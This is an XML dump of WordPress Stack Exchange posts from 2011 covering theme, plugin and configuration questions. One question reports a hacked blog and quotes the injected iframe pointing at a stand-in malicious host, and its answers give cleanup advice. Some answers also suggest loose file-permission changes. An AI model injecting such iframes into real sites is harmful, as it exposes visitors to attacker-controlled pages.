  <row Id="19673" PostTypeId="2" ParentId="19649" CreationDate="2011-06-10T09:26:23.257" Score="3" ViewCount="" Body="&lt;p&gt;This is a permissions issue. wp-content/plugins must be writable by the web server user.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-10T09:26:23.257" />
  <row Id="19674" PostTypeId="2" ParentId="19664" CreationDate="2011-06-10T09:40:33.890" Score="1" ViewCount="" Body="&lt;p&gt;How about this, works fantastic for me!&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/a-z-index-list-of-post-titles-in-taxonomyphp-for-a-custom-taxonomy-term&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/a-z-index-list-of-post-titles-in-taxonomyphp-for-a-custom-taxonomy-term&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full credits go to &lt;a href=&quot;http://wordpress.org/support/profile/design_dolphin&quot; rel=&quot;nofollow&quot;&gt;Gooitzen van der Ent&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-10T09:40:33.890" />
  <row Id="19675" PostTypeId="1" CreationDate="2011-06-10T10:34:56.160" Score="2" ViewCount="130" Body="&lt;p&gt;I have a custom content type &quot;balloons&quot;, and I've assigned a parent category to a &quot;balloon&quot; item, &quot;Water Balloon&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made the Balloon category a primary menu item. I want a link to &quot;Water Balloon&quot; to show in the dropdown, as it would if it was a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to do this, or if it's possible. Any ideas?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3702" LastEditorUserId="3702" LastEditorDisplayName="" LastEditDate="2011-06-10T11:08:57.780" LastActivityDate="2011-06-30T14:21:46.953" Title="Showing Custom Content in a Nav  Dropdown" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;navigation&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" />
  <row Id="19676" PostTypeId="2" ParentId="10196" CreationDate="2011-06-10T10:40:24.527" Score="0" ViewCount="" Body="&lt;p&gt;even this could help &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/q/19507/6038&quot;&gt;simple expandable vertical menu, java script problem&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6038" LastActivityDate="2011-06-10T10:40:24.527" />
  <row Id="19677" PostTypeId="2" ParentId="19669" CreationDate="2011-06-10T10:41:35.177" Score="0" ViewCount="" Body="&lt;p&gt;Yes, you are doing it wrong. You are checking for the posts' custom field value which the new post page will does not have, and editing older posts might also does not have the custom field set or may be set to an empty value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you need to check for the custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() &amp;amp;&amp;amp; ( $post-&amp;gt;post_type == &quot;customType&quot; ) {&#xA;     wp_register_style('admin_js', get_bloginfo('template_directory') . '/admin.js');&#xA;       wp_enqueue_script('admin_js');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-10T10:41:35.177" />
  <row Id="19678" PostTypeId="2" ParentId="19672" CreationDate="2011-06-10T10:43:45.193" Score="0" ViewCount="" Body="&lt;p&gt;WPML has a feature called &quot;Automatically Adjust IDs&quot; which detect when specific items are loaded and adjust IDs so that the results are adjusted for the active language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This functionality is enabled by default and can be accessed via WPML-&gt;Languages (visible in Advanced mode):&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-10T10:43:45.193" CommentCount="1" />
  <row Id="19679" PostTypeId="2" ParentId="19649" CreationDate="2011-06-10T11:07:24.493" Score="1" ViewCount="" Body="&lt;p&gt;I usually do this when that happens :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R nobody:nobody /path/to/wordpress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-10T11:07:24.493" />
  <row Id="19680" PostTypeId="2" ParentId="19650" CreationDate="2011-06-10T11:19:43.740" Score="1" ViewCount="" Body="&lt;p&gt;Inactive widgets are just normal widgets from the &quot;Available widgets&quot; list, which have been put in the &quot;Inactive&quot; section in order to keep the data they contained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What probably happened is that you dropped one of them over the &quot;Available widgets&quot; space and it dissapeared. But don't worry that doesn't mean that the widget is gone, widgets cannot &quot;dissapear&quot;, in the worst case you just lost the data of the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you have a text widget in your colum, with the title &quot;My cool widget&quot; and the text &quot;Hey check this out&quot;, and you decide to temporarly remove it from your website, but wish to keep the text data, you would drop it to the &quot;Inactive&quot; space. You can then drop it back whenever you wish to use it again with the same text. BUT, if you remove it completely, then there will always still be the &quot;Text&quot; widget available in the upper space &quot;Available widgets&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-10T11:19:43.740" CommentCount="1" />
  <row Id="19681" PostTypeId="1" AcceptedAnswerId="19685" CreationDate="2011-06-10T12:33:44.060" Score="0" ViewCount="51" Body="&lt;p&gt;I have a shortcode that contains a form. I want to use jQuery/Ajax for POSTing. For this, I want to add javascript to the page where shortcode is added? Which hook should I use?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;wp_enqueue_scripts&lt;/li&gt;&#xA;&lt;li&gt;wp_print_scripts&lt;/li&gt;&#xA;&lt;li&gt;wp_print_footer_scripts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditorDisplayName="" LastEditDate="2011-06-29T08:44:10.027" LastActivityDate="2011-06-29T08:44:10.027" Title="Which hook to use when adding ajax to viewer-facing side?" Tags="&lt;jquery&gt;&lt;hooks&gt;&lt;ajax&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="19682" PostTypeId="2" ParentId="19580" CreationDate="2011-06-10T12:50:14.727" Score="0" ViewCount="" Body="&lt;p&gt;Yeah something similar has happened to me in the past after tweaking the wordpress loop. If you have on thing off usually it will display a blank page. I don't know if you did any editing of to any of your wp_query(s) after the move, but you might want to give them a second look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed my above issue by just taking out all of my loops and saving the theme. Then just going back through and reentering the code.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-06-10T12:50:14.727" />
  <row Id="19683" PostTypeId="1" CreationDate="2011-06-10T12:56:31.120" Score="0" ViewCount="139" Body="&lt;p&gt;I want to make a function that will take an image from the wordpress uploads directory and add it in the media library. So I added the following code in functions.php of my theme. Problem is, that every time I try to post the page keeps loading and never loads! This happens when wp_insert_attachment() is executed. $image_path represents the full local path to the image eg &quot;/var/www/wordpress/wp-content/uploads/2011/06/image.jpg&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_filetype = wp_check_filetype(basename($image_path), null );&#xA;$attachment = array(&#xA;   'post_mime_type' =&amp;gt; $wp_filetype['type'],&#xA;   'post_title' =&amp;gt; preg_replace('/\.[^.]+$/', '', basename($image_path)),&#xA;   'post_content' =&amp;gt; '',&#xA;   'post_status' =&amp;gt; 'inherit'&#xA;);&#xA;$attach_id=wp_insert_attachment($attachment,$image_path);&#xA;// you must first include the image.php file&#xA;// for the function wp_generate_attachment_metadata() to work&#xA;require_once(ABSPATH . 'wp-admin/includes/image.php');&#xA;$attach_data=wp_generate_attachment_metadata($attach_id,$image_path );&#xA;wp_update_attachment_metadata($attach_id,$attach_data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried it with the default theme as well. Same problem. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image filesize is small. If I remove the last 3 lines the same problem occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I made it. I removed the above part of code outside of the function I created on functions.php. But why it works only if I remove it outside of the function?&lt;/p&gt;&#xA;" OwnerUserId="6077" LastEditorUserId="6106" LastEditorDisplayName="" LastEditDate="2011-06-11T20:39:28.153" LastActivityDate="2011-06-11T20:39:28.153" Title="Problem with wp_insert_attachment!" Tags="&lt;plugins&gt;&lt;attachments&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="19684" PostTypeId="2" ParentId="19573" CreationDate="2011-06-10T13:04:54.693" Score="0" ViewCount="" Body="&lt;p&gt;Yeah I agree with @Elpie. There is a great plugin called Advanced Custom Fields. It allows you to add new custom fields (images, text boxes, etc etc) to whatever you wish (it also allows you to give the fields labels and a quick description.).&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-06-10T13:04:54.693" />
  <row Id="19685" PostTypeId="2" ParentId="19681" CreationDate="2011-06-10T13:09:25.417" Score="1" ViewCount="" Body="&lt;p&gt;You want to use &lt;code&gt;wp_enqueue_scripts&lt;/code&gt;, but you'll probably first want to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Loop through the Posts&lt;/li&gt;&#xA;&lt;li&gt;Grep your shortcode&lt;/li&gt;&#xA;&lt;li&gt;Enqueue the script, if shortcode is found&lt;/li&gt;&#xA;&lt;li&gt;Rewind Posts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That way, you only enqueue the script where necessary.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-10T13:09:25.417" CommentCount="1" />
  <row Id="19686" PostTypeId="1" CreationDate="2011-06-10T13:11:39.237" Score="0" ViewCount="45" Body="&lt;p&gt;I added a new article in my WordPress blog. In this article I included a link to one of my previous articles in the same blog. That article then informed me that I had a new comment. The comment was actually the link to it from my new entry. I went ahead and approved it and now that article says &quot;&lt;em&gt;one comment&lt;/em&gt;&quot; underneath, but theres no comment there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty new to having a WP blog, so I don't know if its a WP bug, a feature, or something I did wrong.&lt;/p&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2011-06-10T14:55:09.250" Title="WP confusing &quot;links to my articles&quot; with &quot;comments&quot;?" Tags="&lt;comments&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="19687" PostTypeId="2" ParentId="19686" CreationDate="2011-06-10T13:21:35.833" Score="4" ViewCount="" Body="&lt;p&gt;What it notified was actually not a comment but a &lt;a href=&quot;http://codex.wordpress.org/Introduction_to_Blogging#Pingbacks&quot; rel=&quot;nofollow&quot;&gt;Pingback&lt;/a&gt;. Often themes list both comments and pingbacks/trackbacks in the same spot, but you could cutomize that to have both a comments section and a pingback/trackback section.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-10T13:37:43.330" LastActivityDate="2011-06-10T13:37:43.330" CommentCount="1" />
  <row Id="19688" PostTypeId="2" ParentId="19686" CreationDate="2011-06-10T13:23:03.467" Score="3" ViewCount="" Body="&lt;p&gt;That &quot;link to your article&quot; is a &lt;em&gt;pingback&lt;/em&gt;, and is a valid comment type in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Apparently, your Theme isn't configured to display pingbacks/trackbacks in the comment list&lt;/li&gt;&#xA;&lt;li&gt;The WordPress function &lt;code&gt;get_comments_number()&lt;/code&gt; counts &lt;em&gt;all&lt;/em&gt; comments, rather than just &lt;em&gt;comment&lt;/em&gt;-type comments. You can filter it, if you want, so that it returns &lt;em&gt;just&lt;/em&gt; the number of comments, rather than the total number of comments and pings. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Use something like the following (in your functions.php file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Filter 'get_comments_number'&#xA; * &#xA; * Filter 'get_comments_number' to display correct &#xA; * number of comments (count only comments, not &#xA; * trackbacks/pingbacks)&#xA; * &#xA; * @link    http://www.wpbeginner.com/wp-tutorials/display-the-most-accurate-comment-count-in-wordpress/ WPBeginner&#xA; */&#xA;function mytheme_comment_count( $count ) {  &#xA;    if ( ! is_admin() ) {&#xA;        global $id;&#xA;        $comments_by_type = &amp;amp;separate_comments(get_comments('status=approve&amp;amp;post_id=' . $id));&#xA;        return count($comments_by_type['comment']);&#xA;    } else {&#xA;        return $count;&#xA;    }&#xA;}&#xA;add_filter('get_comments_number', 'mytheme_comment_count', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;code&gt;get_comments_number()&lt;/code&gt; will return just the number of comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/cleanr&quot; rel=&quot;nofollow&quot;&gt;Your Theme&lt;/a&gt; (which, by the way, hasn't been updated in the Repository in almost two years) is designed only to output &lt;em&gt;comment&lt;/em&gt;-type comments. &lt;a href=&quot;http://themes.svn.wordpress.org/cleanr/0.1.2/comments.php&quot; rel=&quot;nofollow&quot;&gt;See here, in &lt;code&gt;comments.php&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol class=&quot;commentlist&quot;&amp;gt;&#xA;    &amp;lt;?php wp_list_comments('type=comment&amp;amp;callback=cleanr_theme_comment'); ?&amp;gt;&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll either need to modify the code, or switch to a Theme that supports listing trackbacks/pingbacks.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-10T14:55:09.250" LastActivityDate="2011-06-10T14:55:09.250" CommentCount="1" />
  <row Id="19689" PostTypeId="1" AcceptedAnswerId="19759" CreationDate="2011-06-10T13:36:12.357" Score="0" ViewCount="54" Body="&lt;p&gt;If WP_DEBUG is not set, as I understand it, you should never ever see warnings. But on some sites on some servers, I'm still seeing a few. Not all the warnings that would be displayed if WP_DEBUG was set, but a select few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing the error level in php.ini, but that seems to have no effect on whether warnings appear or not, but they do appear in differing amounts on different servers (i.e. no warnings on development, one warning on staging, and a few more warnings on production).&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2011-06-11T01:50:13.363" Title="WP_DEBUG is not set, but I'm still getting warnings" Tags="&lt;errors&gt;&lt;warnings&gt;&lt;wp-debug&gt;&lt;notices&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19690" PostTypeId="2" ParentId="19610" CreationDate="2011-06-10T13:55:41.930" Score="1" ViewCount="" Body="&lt;p&gt;Your problem is adding the scripts, styles &lt;strong&gt;inside&lt;/strong&gt; the class, and because the class instance is created when the hook &lt;code&gt;add_meta_box&lt;/code&gt; is fired, at that time the &lt;code&gt;wp_enqueue_script/style&lt;/code&gt; are already finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution for you is adding the scripts, styles &lt;strong&gt;outside&lt;/strong&gt; the function and the class. And because meta boxes are used only at editing pages, you can do as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// the editing pages are actually post.php and post-new.php&#xA;add_action('admin_print_styles-post.php', 'custom_js_css');&#xA;add_action('admin_print_styles-post-new.php', 'custom_js_css');&#xA;&#xA;function custom_js_css() {&#xA;    wp_enqueue_style('your-meta-box', $base_url . '/meta-box.css');&#xA;    wp_enqueue_script('your-meta-box', $base_url . '/meta-box.js', array('jquery'), null, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually, I wrote a &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;meta box class for WP&lt;/a&gt;, that uses another approach. Instead of writing form class for form fields like you did, my class is a wrapper for meta boxes. If you interested in, it's worth to take a look.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-10T13:55:41.930" CommentCount="7" />
  <row Id="19691" PostTypeId="2" ParentId="14539" CreationDate="2011-06-10T14:17:47.593" Score="0" ViewCount="" Body="&lt;p&gt;If you can set up &lt;strong&gt;custom error pages&lt;/strong&gt; use the &lt;code&gt;index.php&lt;/code&gt; as 404 page. Now you can use regular permalinks on a single site installation.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-10T14:17:47.593" />
  <row Id="19692" PostTypeId="1" AcceptedAnswerId="19698" CreationDate="2011-06-10T14:38:27.933" Score="0" ViewCount="71" Body="&lt;p&gt;Each time I register I end up in the wp-login page (back-end):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WdvgR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of redirecting the users who register to a page template (front-end)?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-06-10T15:37:25.077" Title="How to redirect a sucessful registration to a page template?" Tags="&lt;redirect&gt;&lt;registration&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19693" PostTypeId="1" CreationDate="2011-06-10T14:45:49.880" Score="0" ViewCount="51" Body="&lt;p&gt;I have custom post types using the default categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'taxonomies' =&amp;gt; array('category')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how do I get the custom post types to appear when I click on the category link?&#xA;Do I need to edit archive.php to pull them in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if I have a category template? Is it a get_template request?&lt;/p&gt;&#xA;" OwnerUserId="6078" LastEditorUserId="6078" LastEditorDisplayName="" LastEditDate="2011-06-10T15:23:00.113" LastActivityDate="2011-08-11T06:22:15.823" Title="show custom posts types in archives" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="19694" PostTypeId="2" ParentId="19689" CreationDate="2011-06-10T14:47:11.347" Score="1" ViewCount="" Body="&lt;p&gt;Try to disable/suppress &lt;a href=&quot;http://php.net/manual/de/function.error-reporting.php&quot; rel=&quot;nofollow&quot;&gt;all error warnings/notices&lt;/a&gt; in your &lt;code&gt;wp-config.php&lt;/code&gt; (on top). Anyway: Errors are nothing bad. They give you a chance to fix your code.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-10T14:47:11.347" CommentCount="1" />
  <row Id="19695" PostTypeId="1" CreationDate="2011-06-10T15:25:36.087" Score="1" ViewCount="84" Body="&lt;p&gt;WordPress' &quot;preview&quot; mode is good, but not perfect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a &quot;staging site&quot;, where I can make changes, and then, &#xA;when I'm satisfied, mirror the changes to my production site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this isn't trivial (eg, copying tables from staging to &#xA;production would wipe out comments created in the interim), but seems &#xA;do-able. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about &#xA;&lt;a href=&quot;http://mattheworiordan.com/projects/wp-plugins/dev-staging-environment/&quot; rel=&quot;nofollow&quot;&gt;http://mattheworiordan.com/projects/wp-plugins/dev-staging-environment/&lt;/a&gt; &#xA;but this assumes you've already setup a dev and staging environment. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-06-10T15:35:51.147" Title="Using second site as staging area" Tags="&lt;staging&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="19696" PostTypeId="1" AcceptedAnswerId="19705" CreationDate="2011-06-10T15:31:42.840" Score="29" ViewCount="3513" Body="&lt;p&gt;My for-fun WordPress blog at &lt;a href=&quot;http://fakeplasticrock.com&quot; rel=&quot;nofollow&quot;&gt;http://fakeplasticrock.com&lt;/a&gt; (running WordPress 3.1.1) got hacked -- it was showing an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; on every page like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;http://evilsite.com/go/1&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&amp;gt; &#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did the following&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upgraded to 3.1.3 via the built-in WordPress upgrade system&lt;/li&gt;&#xA;&lt;li&gt;Installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/exploit-scanner/&quot; rel=&quot;nofollow&quot;&gt;Exploit Scanner&lt;/a&gt; (lots of critical warnings on unusual files) and &lt;a href=&quot;http://wordpress.org/extend/plugins/antivirus/&quot; rel=&quot;nofollow&quot;&gt;AntiVirus&lt;/a&gt; (this showed all green and clean, so I uninstalled and removed it after running)&lt;/li&gt;&#xA;&lt;li&gt;Changed MySQL password.&lt;/li&gt;&#xA;&lt;li&gt;Changed all WordPress user passwords.&lt;/li&gt;&#xA;&lt;li&gt;Connected via FTP and downloaded the whole filesystem (not large, this is a WordPress-only Linux shared host)&lt;/li&gt;&#xA;&lt;li&gt;Diffed the filesystem against an official ZIP of WordPress 3.1.3 and &lt;em&gt;removed&lt;/em&gt; or &lt;em&gt;overwrote&lt;/em&gt; anything that did not match.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am quite sure that &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;all&lt;/em&gt; the files on disk are official WordPress 3.1.3 files&lt;/li&gt;&#xA;&lt;li&gt;there are no &quot;extra&quot; files on disk other than my one &lt;code&gt;/theme&lt;/code&gt;, the Exploit Scanner plugin (which I just downloaded), the &lt;code&gt;/uploads&lt;/code&gt; folder, and a tiny handful of other expected files. My other plugin, wp-recaptcha, matches the current official downloaded version.&lt;/li&gt;&#xA;&lt;li&gt;I also checked the &lt;code&gt;.htaccess&lt;/code&gt; file and nothing looks wrong there&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fDFLA.png&quot; alt=&quot;wordpress 3.1.3 file compare in Beyond Compare&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I did not touch the database&lt;/strong&gt;, but I am struggling to think how anything in the database could be malicious without &lt;em&gt;special PHP code&lt;/em&gt; to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My WordPress blog appears OK and hack-free now (I think), but is there anything else I should check?&lt;/p&gt;&#xA;" OwnerUserId="152" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-06-10T16:16:33.630" LastActivityDate="2011-07-24T12:38:02.447" Title="Verifying that I have fully removed a WordPress hack?" Tags="&lt;hacked&gt;" AnswerCount="12" FavoriteCount="15" />
  <row Id="19697" PostTypeId="2" ParentId="19695" CreationDate="2011-06-10T15:35:51.147" Score="1" ViewCount="" Body="&lt;p&gt;I just set up a dev.domain.com subdomain and mirror everything there, doing a find/replace on the sql export for www &gt; dev, and of course changing wp-config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to have a staging server I mirrored things on, but I've since learned that a change in length of the domain name will invalidate any serialized data that contains it, so I now always keep the staging domain the same length as the live domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also not sync the comments table so you don't overwrite interim comments, as long as post IDs don't change I don't think this should be an issue.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-10T15:35:51.147" />
  <row Id="19698" PostTypeId="2" ParentId="19692" CreationDate="2011-06-10T15:37:25.077" Score="2" ViewCount="" Body="&lt;p&gt;You can use the filter &lt;code&gt;registration_redirect&lt;/code&gt; to pass back your own URL, for example;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __my_registration_redirect()&#xA;{&#xA;    return home_url( '/my-page' );&#xA;}&#xA;add_filter( 'registration_redirect', '__my_registration_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Drop it in your &lt;code&gt;functions.php&lt;/code&gt; or a plugin :)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-10T15:37:25.077" CommentCount="3" />
  <row Id="19699" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T15:47:11.290" Score="6" ViewCount="" Body="&lt;p&gt;The database can contain malicious code too: hidden user accounts or values that are printed unescaped somewhere. Also, check your upload directory for files which don’t belong there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and try to understand how the attacker found his way into your site. On shared accounts it is often the whole server. &lt;a href=&quot;http://www.yougetsignal.com/tools/web-sites-on-web-server/&quot; rel=&quot;nofollow&quot;&gt;Check the other sites&lt;/a&gt; on the server for hacked blogs or other pages too. Read your FTP log. If you don’t know how it happened you cannot prevent the next break.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-10T15:59:11.073" LastActivityDate="2011-06-10T15:59:11.073" CommentCount="6" />
  <row Id="19700" PostTypeId="2" ParentId="19696" CreationDate="2011-06-10T15:49:16.047" Score="7" ViewCount="" Body="&lt;p&gt;Sorry to hear you got hacked - looks like you've done a fine recovery job though!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your filesystem sounds golden, I wouldn't say there's anything else you could do here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think Exploit Scanner would throw a warning if it found any scripts, iframes, PHP (though only dangerous if eval'd), or other unusual code in your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it checks tables other than posts &amp;amp; comments, might be worth checking out &lt;code&gt;/wp-admin/options.php&lt;/code&gt; for a quick glance and see if you spot anything odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also check your users table in a MySQL client (users may be in the database but not visible in the admin).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-10T15:49:16.047" CommentCount="1" />
  <row Id="19701" PostTypeId="1" CreationDate="2011-06-10T15:54:49.020" Score="0" ViewCount="84" Body="&lt;p&gt;why when I'm offline , when I click the search button and not put any words I am redirected to the login screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply click in search button, don't put any word.&#xA;If i'm normal user, don't logged user, i go to login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show a message: Search Empty, please try again.&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-08-10T10:21:53.057" Title="redirected to the login screen when I do a blank search" Tags="&lt;search&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19702" PostTypeId="2" ParentId="19649" CreationDate="2011-06-10T15:56:17.320" Score="0" ViewCount="" Body="&lt;p&gt;If you're using mod_php, switch to mod_suphp instead. This has worked for me in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what package it will be listed as in Ubuntu, but generally it's there somewhere. Works in Fedora.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-10T15:56:17.320" />
  <row Id="19703" PostTypeId="2" ParentId="19693" CreationDate="2011-06-10T15:56:37.127" Score="0" ViewCount="" Body="&lt;p&gt;You can use the following code in your category archive template file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category()) {&#xA;    global $query_string;&#xA;    $post_type = get_query_var('post_type');&#xA;    if ( !$post_type ) { // if no post type is already defined&#xA;        parse_str( $query_string, $args );&#xA;        $args['post_type'] = array( 'post', 'you-custom-post-type-here' );&#xA;        query_posts( $args );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use the above code in any action that gets run just before the main loop.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-10T15:56:37.127" CommentCount="5" />
